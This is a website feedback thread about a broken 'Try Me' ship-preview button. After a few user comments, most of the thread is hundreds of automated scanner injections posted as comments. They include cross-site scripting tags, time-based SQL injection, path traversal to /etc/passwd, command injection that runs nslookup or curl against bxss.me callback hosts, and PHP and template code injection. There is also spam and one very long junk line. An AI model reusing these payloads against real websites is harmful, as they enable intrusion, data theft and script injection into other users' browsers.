Feedback

Try Me does not work by Tim - 159 months ago

Everytime I try to try out a ship there's just some kind of loading screen (a grey, 3dimensional pacmanthing), which does not go away... Also the ship does not appear on the screen.

• james is boss

  totaly

• khalid

  ksa

• Rich.lin98

  Kick ass

• Jwoodster

  dam you derped up try it out button

• cattydoes

  harlem shake is better than this

• mhmhleafs

  definately

• Boogerflicker

  The grey 3 dimmensional pac-man thing is the cool-loading.gif image.

• ilomilo 123

  ?

• Pogomonster

  It does not work for me either.

• daft destroyer

  neither for me!

• die potato

  that does not happen to me. You all have slow computers.

• pride of slytherin

  mines just in chinese

• mee too

  me too

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1C6efq0AfrO

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• 1Cai9BE2BCO

  1

• WfxYANoW

  ${9999738+9999156}

• ${9999329+9999100}

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  response.write(9215202*9951585)

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  '+response.write(9215202*9951585)+'

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  1

• Anonymous

  1

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  ../1

• WfxYANoW

  "+response.write(9215202*9951585)+"

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• response.write(9883588*9228796)

  1

• file:///etc/passwd

  1

• WfxYANoW

  1

• WfxYANoW

  echo lziocq$()\ blnxkr\nz^xyu||a #' &echo lziocq$()\ blnxkr\nz^xyu||a #|" &echo lziocq$()\ blnxkr\nz^xyu||a #

• ../WfxYANoW

  1

• WfxYANoW

  /etc/shells

• WfxYANoW

  9Ev9jxBg

• '+response.write(9883588*9228796)+'

  1

• WfxYANoW

  sparijZJ: Z1eQwM9o

• WfxYANoW

  1&n944738=v969199

• "+response.write(9883588*9228796)+"

  1

• WfxYANoW

  &echo yvgwua$()\ jwnxbe\nz^xyu||a #' &echo yvgwua$()\ jwnxbe\nz^xyu||a #|" &echo yvgwua$()\ jwnxbe\nz^xyu||a #

• bldsbFpZc3c=

  1

• SkZQLz11

  1

• WfxYANoW

  1&echo amkiyz$()\ fnlvnf\nz^xyu||a #' &echo amkiyz$()\ fnlvnf\nz^xyu||a #|" &echo amkiyz$()\ fnlvnf\nz^xyu||a #

• yDDV0fI4: bsN9g6FZ

  1

• WfxYANoW

  )

• WfxYANoW

  |echo zdlqiq$()\ tjugyw\nz^xyu||a #' |echo zdlqiq$()\ tjugyw\nz^xyu||a #|" |echo zdlqiq$()\ tjugyw\nz^xyu||a #

• WfxYANoW&n974014=v958943

  1

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  1|echo vipixh$()\ ehjjwf\nz^xyu||a #' |echo vipixh$()\ ehjjwf\nz^xyu||a #|" |echo vipixh$()\ ehjjwf\nz^xyu||a #

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  '.gethostbyname(lc('hitzp'.'ygjwifch62e5d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(88).chr(99).chr(73).'

• )

  1

• !(()&&!|*|*|

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  (nslookup -q=cname hitfagbevhqjec0c10.bxss.me||curl hitfagbevhqjec0c10.bxss.me))

• WfxYANoW

  bxss.me

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  $(nslookup -q=cname hitzcehuxlsml6a3b4.bxss.me||curl hitzcehuxlsml6a3b4.bxss.me)

• WfxYANoW

  '"()

• WfxYANoW

  ".gethostbyname(lc("hittp"."azyxpkexeea03.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(77).chr(113).chr(87)."

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  1'&&sleep(27*1000)*yecejd&&'

• WfxYANoW

  gethostbyname(lc('hittg'.'ggyvgbob4c28e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(81).chr(118).chr(84)

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  1

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  1"&&sleep(27*1000)*exuiwe&&"

• WfxYANoW

  &nslookup -q=cname hitzafiuriomkabc8b.bxss.me&'\"`0&nslookup -q=cname hitzafiuriomkabc8b.bxss.me&`'

• WfxYANoW

  ${@print(md5(31337))}

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  &(nslookup -q=cname hittgvzblnsmq7646b.bxss.me||curl hittgvzblnsmq7646b.bxss.me)&'\"`0&(nslookup -q=cname hittgvzblnsmq7646b.bxss.me||curl hittgvzblnsmq7646b.bxss.me)&`'

• /etc/shells

  1

• WfxYANoW

  |(nslookup -q=cname hitnsnwbhmkff7192b.bxss.me||curl hitnsnwbhmkff7192b.bxss.me)

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  1'||sleep(27*1000)*zojtiv||'

• WfxYANoW

  `(nslookup -q=cname hitzxkaaklinn68eb9.bxss.me||curl hitzxkaaklinn68eb9.bxss.me)`

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  xfs.bxss.me

• ';print(md5(31337));$a='

  1

• xfs.bxss.me

  1

• WfxYANoW

  ;(nslookup -q=cname hitvrymlhtmkz4e87c.bxss.me||curl hitvrymlhtmkz4e87c.bxss.me)|(nslookup -q=cname hitvrymlhtmkz4e87c.bxss.me||curl hitvrymlhtmkz4e87c.bxss.me)&(nslookup -q=cname hitvrymlhtmkz4e87c.bxss.me||curl hitvrymlhtmkz4e87c.bxss.me)

• WfxYANoW

  '"

• WfxYANoW

  1'"()&%<zzz><ScRiPt >V1Dw(9281)</ScRiPt>

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitknruxuvdot085a4.bxss.me||curl${IFS}hitknruxuvdot085a4.bxss.me)

• WfxYANoW

  <!--

• ";print(md5(31337));$a="

  1

• WfxYANoW

  1"||sleep(27*1000)*rjezrx||"

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hittlqcbxozfbc7720.bxss.me||curl${IFS}hittlqcbxozfbc7720.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hittlqcbxozfbc7720.bxss.me||curl${IFS}hittlqcbxozfbc7720.bxss.me)&`'

• '"

  1

• c:/windows/win.ini

  1

• <!--

  1

• WfxYANoW

  1

• ${@print(md5(31337))}

  1

• ${@print(md5(31337))}\

  1

• '"()

  1

• '.print(md5(31337)).'

  1

• bxss.me

  1

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(112).concat(83).concat(102).concat(77)+(require"socket" Socket.gethostbyname("hitiz"+"uffvklwo3fc23.bxss.me.")[3].to_s)+"

• WfxYANoW'&&sleep(27*1000)*pvtbmm&&'

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >V1Dw(9065)</ScRiPt>

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(108).concat(71).concat(114).concat(76)+(require'socket' Socket.gethostbyname('hittk'+'ugnlgahp7ac21.bxss.me.')[3].to_s)+'

• WfxYANoW"&&sleep(27*1000)*kjlqwe&&"

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(113).concat(68).concat(120).concat(67)+(require'socket' Socket.gethostbyname('hitru'+'zzxxnaayf2c39.bxss.me.')[3].to_s)

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  19155775

• WfxYANoW

  comment

• WfxYANoW

  bfg9883＜s1﹥s2ʺs3ʹhjl9883

• HttP://bxss.me/t/xss.html?%00

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW'||sleep(27*1000)*plrkpy||'

  1

• WfxYANoW

  comment

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  comment/.

• WfxYANoW"||sleep(27*1000)*wjeoht||"

  1

• comment

  1

• comment

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• comment/.

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1

• WfxYANoW

  1<ScRiPt >V1Dw(9167)</ScRiPt>

• WfxYANoW

  1<WVJSKY>3PQVH[!+!]</WVJSKY>

• WfxYANoW

  1<script>V1Dw(9094)</script>

• WfxYANoW

  1<script>V1Dw(9267)</script>9267

• WfxYANoW

  1<ScR<ScRiPt>IpT>V1Dw(9267)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >V1Dw(9843)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9372></ScRiPt>

• WfxYANoW

  1<ScRiPt >V1Dw(9144)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=V1Dw(9576)>

• WfxYANoW

  148UwNN7T

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9220'>

• WfxYANoW

  1<body onload=V1Dw(9575)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=V1Dw(9763)>

• WfxYANoW

  1<img src=xyz OnErRor=V1Dw(9697)>

• WfxYANoW

  1<img/src=">" onerror=alert(9267)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%56%31%44%77%289109%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\V1Dw(9854)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;V1Dw(9762)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=V1Dw(9567)>

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+340-340-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  -1 OR 2+734-734-1=0+0+0+1

• WfxYANoW

  -1' OR 2+366-366-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  -1' OR 2+704-704-1=0+0+0+1 or 'EecLXiXL'='

• WfxYANoW

  -1" OR 2+855-855-1=0+0+0+1 --

• WfxYANoW

  1}body{zzz:Expre/**/SSion(V1Dw(9061))}

• WfxYANoW

  197BXC <ScRiPt >V1Dw(9179)</ScRiPt>

• WfxYANoW

  1<W3NYYS>CJ5LZ[!+!]</W3NYYS>

• WfxYANoW

  1<ifRAme sRc=9842.com></IfRamE>

• WfxYANoW

  1<aPsRHht x=9840>

• WfxYANoW

  1<img sRc='http://attacker-9814/log.php?

• WfxYANoW

  1<aPhwBOe<

• WfxYANoW'"()&%<zzz><ScRiPt >V1Dw(9663)</ScRiPt>

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• '"()&%<zzz><ScRiPt >V1Dw(9156)</ScRiPt>

  1

• WfxYANoW9276211

  1

• bfg1889＜s1﹥s2ʺs3ʹhjl1889

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >V1Dw(9833)</ScRiPt>

  1

• WfxYANoW<WBCPYU>O4VDX[!+!]</WBCPYU>

  1

• WfxYANoW<script>V1Dw(9043)</script>

  1

• WfxYANoW<script>V1Dw(9268)</script>9268

  1

• WfxYANoW<ScRiPt >V1Dw(9376)</ScRiPt>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<ScRiPt >V1Dw(9313)</ScRiPt>

  1

• WfxYANoW<body onload=V1Dw(9887)>

  1

• WfxYANoW<img src=xyz OnErRor=V1Dw(9669)>

  1

• WfxYANoW<img/src=">" onerror=alert(9393)>

  1

• WfxYANoW\u003CScRiPt\V1Dw(9592)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;V1Dw(9735)&lt;/sCripT&gt;

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW<input autofocus onfocus=V1Dw(9698)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(V1Dw(9361))}

  1

• WfxYANoWDjCwg <ScRiPt >V1Dw(9101)</ScRiPt>

  1

• WfxYANoW<WR5XUL>KSGEI[!+!]</WR5XUL>

  1

• WfxYANoW<ifRAme sRc=9586.com></IfRamE>

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW<aG6jCUX x=9316>

  1

• WfxYANoW<img sRc='http://attacker-9006/log.php?

  1

• WfxYANoW<a8Sy7hT<

  1

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1Wv3BawXi'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 553=(SELECT 553 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 362=(SELECT 362 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 801=(SELECT 801 FROM PG_SLEEP(15))--

• WfxYANoW

  1nOwkBvi7' OR 678=(SELECT 678 FROM PG_SLEEP(15))--

• WfxYANoW

  1Ms8qEvo6') OR 191=(SELECT 191 FROM PG_SLEEP(15))--

• WfxYANoW

  1n9m2z99a')) OR 876=(SELECT 876 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@jDIK2

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWuLy8qSBY

  1

• WfxYANoW

  1

• -1 OR 2+474-474-1=0+0+0+1 --

  1

• -1 OR 2+147-147-1=0+0+0+1

  1

• -1' OR 2+367-367-1=0+0+0+1 --

  1

• -1' OR 2+875-875-1=0+0+0+1 or 'hipfRJ2t'='

  1

• -1" OR 2+101-101-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWz4IOXiTz'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@Rn74j

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• lev

  same for me, but after the loading screen it redirects me to the homepage with no change

• lev

  same for me, but after the loading screen it redirects me to the homepage with no change

• lev

  same for me, but after the loading screen it redirects me to the homepage with no change

• lev

  same for me, but after the loading screen it redirects me to the homepage with no change

• lev

  same for me, but after the loading screen it redirects me to the homepage with no change

• lev

  same for me, but after the loading screen it redirects me to the homepage with no change

• lev

  same for me, but after the loading screen it redirects me to the homepage with no change

• lev

  same for me, but after the loading screen it redirects me to the homepage with no change

• lev

  same for me, but after the loading screen it redirects me to the homepage with no change

• lev

  same for me, but after the loading screen it redirects me to the homepage with no change

• cftonoqi

  1

• dsanjdwr

  response.write(9868355*9151557)

• dsanjdwr

  '+response.write(9868355*9151557)+'

• fucauibn

  1

• dsanjdwr

  "+response.write(9868355*9151557)+"

• fucauibn

  1

• response.write(9806382*9152143)

  1

• fucauibn

  65HQmfKG

• '+response.write(9806382*9152143)+'

  1

• fucauibn

  -1 OR 2+836-836-1=0+0+0+1 --

• "+response.write(9806382*9152143)+"

  1

• fucauibn

  -1 OR 2+561-561-1=0+0+0+1

• hjnnwwtx

  set|set&set

• fucauibn

  -1' OR 2+514-514-1=0+0+0+1 --

• qfdnmitw

  ayQ3CwQ2

• hjnnwwtx

  $(nslookup KH0d2oGf)

• fucauibn

  -1' OR 2+413-413-1=0+0+0+1 or 'SkUiRToi'='

• Dt8WnkXo

  1

• hjnnwwtx

  &nslookup iSmNLHgB&'\"`0&nslookup iSmNLHgB&`'

• fucauibn

  -1" OR 2+476-476-1=0+0+0+1 --

• wtfkqjob

  ../../../../../../../../../../etc/passwd

• set|set&set

  1

• wxsbexxh

  1

• ovfftasg

  ${10000296+10000332}

• fucauibn

  if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/

• wtfkqjob

  ../../../../../../../../../../../../../../../proc/version

• $(nslookup BpWsiuBN)

  1

• ${9999931+10000457}

  1

• fucauibn

  if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

• wtfkqjob

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• &nslookup 1V73pItz&'\"`0&nslookup 1V73pItz&`'

  1

• whxbamsv

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• fucauibn

  (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/

• wtfkqjob

  ../../../../../../../../../../etc/passwd.jpg

• cVpBbWU2S1g=

  1

• whxbamsv

  1some_inexistent_file_with_long_name.jpg

• fucauibn

  (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/

• wtfkqjob

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• wdebytvj

  1&n982541=v905013

• whxbamsv

  Http://testasp.vulnweb.com/t/fit.txt

• wxsbexxh

  1

• fucauibn

  -1; waitfor delay '0:0:3' --

• wtfkqjob

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• whxbamsv

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• Anonymous

  1

• lrqrtccq

  )

• fucauibn

  -1; waitfor delay '0:0:6' --

• wtfkqjob

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• yylnvkdn&n942997=v990056

  1

• whxbamsv

  testasp.vulnweb.com

• lrqrtccq

  !(()&&!|*|*|

• fucauibn

  -1); waitfor delay '0:0:3' --

• wtfkqjob

  /etc/passwd

• lrqrtccq

  ^(#$!@#$)(()))******

• fucauibn

  -1); waitfor delay '0:0:6' --

• wtfkqjob

  %2fetc%2fpasswd

• )

  1

• fucauibn

  1 waitfor delay '0:0:3' --

• 1some_inexistent_file_with_long_name.jpg

  1

• wtfkqjob

  /.././.././.././.././.././.././.././../etc/./passwd%00

• vbiaxter

  '"()

• !(()&&!|*|*|

  1

• fucauibn

  1 waitfor delay '0:0:9' --

• Http://testasp.vulnweb.com/t/fit.txt

  1

• wtfkqjob

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• ^(#$!@#$)(()))******

  1

• fucauibn

  aTdhIGuM'; waitfor delay '0:0:3' --

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• wtfkqjob

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• '"()

  1

• ijqkiyvo

  ;print(md5(acunetix_wvs_security_test));

• fucauibn

  nGvvU6EZ'; waitfor delay '0:0:9' --

• testasp.vulnweb.com

  1

• okbjcnor

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• cfdxlixg

  1

• ijqkiyvo

  ';print(md5(acunetix_wvs_security_test));$a='

• qugkjggq

  http://hitinMBh7X9IO.bxss.me/

• fucauibn

  -1;select pg_sleep(6); --

• neqbslgm

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• cfdxlixg

  comment

• wtfkqjob

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• ijqkiyvo

  ";print(md5(acunetix_wvs_security_test));$a="

• http://hitR8EcC5MWSv.bxss.me/

  1

• fucauibn

  -1);select pg_sleep(6); --

• neqbslgm

  1'"

• upuxwvej

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• cfdxlixg

  comment

• wtfkqjob

  file:///etc/passwd

• ijqkiyvo

  ${@print(md5(acunetix_wvs_security_test))}

• fucauibn

  -1));select pg_sleep(6); --

• qqspypok

  /www.vulnweb.com

• neqbslgm

  \

• cfdxlixg

  comment/.

• wtfkqjob

  /\../\../\../\../\../\../\../etc/passwd

• ijqkiyvo

  ${@print(md5(acunetix_wvs_security_test))}\

• fucauibn

  rSqsz2UZ';select pg_sleep(6); --

• /www.vulnweb.com

  1

• cfdxlixg

  1

• wtfkqjob

  WEB-INF/web.xml

• ;print(md5(acunetix_wvs_security_test));

  1

• fucauibn

  XvlKObqX');select pg_sleep(6); --

• ocketgxe

  '"

• comment

  1

• neqbslgm

  @@YCIAE

• wtfkqjob

  /WEB-INF/web.xml

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• fucauibn

  HqtC39tp'));select pg_sleep(6); --

• ocketgxe

  <!--

• comment

  1

• neqbslgm

  JyI=

• wtfkqjob

  WEB-INF\web.xml

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• fucauibn

  1

• '"

  1

• comment/.

  1

• cvtnyiwn

  1'"()&%<acx><ScRiPt >qo6a(9319)</ScRiPt>

• ../../../../../../../../../../etc/passwd

  1

• ${@print(md5(acunetix_wvs_security_test))}

  1

• fucauibn

  1

• <!--

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• AkB0sidl

  1

• neqbslgm

  (select convert(int,CHAR(65)))

• -1 OR 2+428-428-1=0+0+0+1 --

  1

• neqbslgm

  1

• 1'"

  1

• -1 OR 2+86-86-1=0+0+0+1

  1

• \

  1

• -1' OR 2+127-127-1=0+0+0+1 --

  1

• -1' OR 2+408-408-1=0+0+0+1 or 'BxQriYnS'='

  1

• @@WQrjC

  1

• -1" OR 2+808-808-1=0+0+0+1 --

  1

• JyI=

  1

• (select convert(int,CHAR(65)))

  1

• cvtnyiwn

  '"()&%<acx><ScRiPt >qo6a(9534)</ScRiPt>

• ../../../../../../../../../../etc/passwd.jpg

  1

• cvtnyiwn

  1_9314

• cvtnyiwn

  acu5206＜s1﹥s2ʺs3ʹuca5206

• 1 waitfor delay '0:0:16' --

  1

• gPUVz5Mn'; waitfor delay '0:0:16' --

  1

• cvtnyiwn

  {{10000122*9999474}}

• sT1H3nIG';select pg_sleep(16); --

  1

• dHx6jK9N');select pg_sleep(16); --

  1

• oaO6accs'));select pg_sleep(5); --

  1

• cvtnyiwn

  1<ScRiPt >qo6a(9516)</ScRiPt>

• cvtnyiwn

  1<WXEOA5>C4EAG[!+!]</WXEOA5>

• cvtnyiwn

  1<script>qo6a(9299)</script>

• cvtnyiwn

  1<ScR<ScRiPt>IpT>qo6a(9699)</sCr<ScRiPt>IpT>

• cvtnyiwn

  1<ScRiPt >qo6a(9684)</ScRiPt>

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• /etc/passwd

  1

• %2fetc%2fpasswd

  1

• cvtnyiwn

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9627></ScRiPt>

• cvtnyiwn

  1<ScRiPt >qo6a(9384)</ScRiPt>

• cvtnyiwn

  1<video><source onerror="javascript:qo6a(9415)">

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• cvtnyiwn

  1<isindex type=image src=1 onerror=qo6a(9673)>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• cvtnyiwn

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9530'>

• cvtnyiwn

  1<body onload=qo6a(9391)>

• cvtnyiwn

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=qo6a(9261)>

• cvtnyiwn

  1<img src=xyz OnErRor=qo6a(9560)>

• cvtnyiwn

  1<img/src=">" onerror=alert(9804)>

• cvtnyiwn

  %31%3C%53%63%52%69%50%74%20%3E%71%6F%36%61%289082%29%3C%2F%73%43%72%69%70%54%3E

• cvtnyiwn

  1\u003CScRiPt\qo6a(9043)\u003C/sCripT\u003E

• cvtnyiwn

  1&lt;ScRiPt&gt;qo6a(9064)&lt;/sCripT&gt;

• cvtnyiwn

  1<input autofocus onfocus=qo6a(9796)>

• cvtnyiwn

  <a HrEF=http://www.vulnweb.com></a>

• cvtnyiwn

  <a HrEF=jaVaScRiPT:>

• cvtnyiwn

  [url=http://www.vulnweb.com][/url]

• cvtnyiwn

  1<img<!-- --> src=x onerror=alert(9436);//><!-- -->

• cvtnyiwn

  1}body{acu:Expre/**/SSion(qo6a(9938))}

• cvtnyiwn

  1<% contenteditable onresize=qo6a(9550)>

• cvtnyiwn

  1_I8ReN <ScRiPt >qo6a(9775)</ScRiPt>

• cvtnyiwn

  1<WIU8T2>PHD8J[!+!]</WIU8T2>

• cvtnyiwn

  1<ifRAme sRc=9812.com></IfRamE>

• cvtnyiwn

  1<nF1FCa x=9797>

• cvtnyiwn

  1<img sRc='http://attacker-9499/log.php?

• cvtnyiwn'"()&%<acx><ScRiPt >qo6a(9100)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >qo6a(9822)</ScRiPt>

  1

• cvtnyiwn_9896

  1

• acu1825＜s1﹥s2ʺs3ʹuca1825

  1

• {{10000469*9999336}}

  1

• cvtnyiwn<ScRiPt >qo6a(9189)</ScRiPt>

  1

• cvtnyiwn<WUCN9Q>E1QHR[!+!]</WUCN9Q>

  1

• cvtnyiwn<script>qo6a(9192)</script>

  1

• cvtnyiwn<ScRiPt >qo6a(9725)</ScRiPt>

  1

• cvtnyiwn<ScRiPt >qo6a(9379)</ScRiPt>

  1

• cvtnyiwn<body onload=qo6a(9910)>

  1

• cvtnyiwn<img src=xyz OnErRor=qo6a(9031)>

  1

• cvtnyiwn<img/src=">" onerror=alert(9187)>

  1

• cvtnyiwn\u003CScRiPt\qo6a(9901)\u003C/sCripT\u003E

  1

• cvtnyiwn&lt;ScRiPt&gt;qo6a(9305)&lt;/sCripT&gt;

  1

• cvtnyiwn<input autofocus onfocus=qo6a(9970)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• cvtnyiwn}body{acu:Expre/**/SSion(qo6a(9703))}

  1

• cvtnyiwn<% contenteditable onresize=qo6a(9563)>

  1

• cvtnyiwn_kSrOj <ScRiPt >qo6a(9512)</ScRiPt>

  1

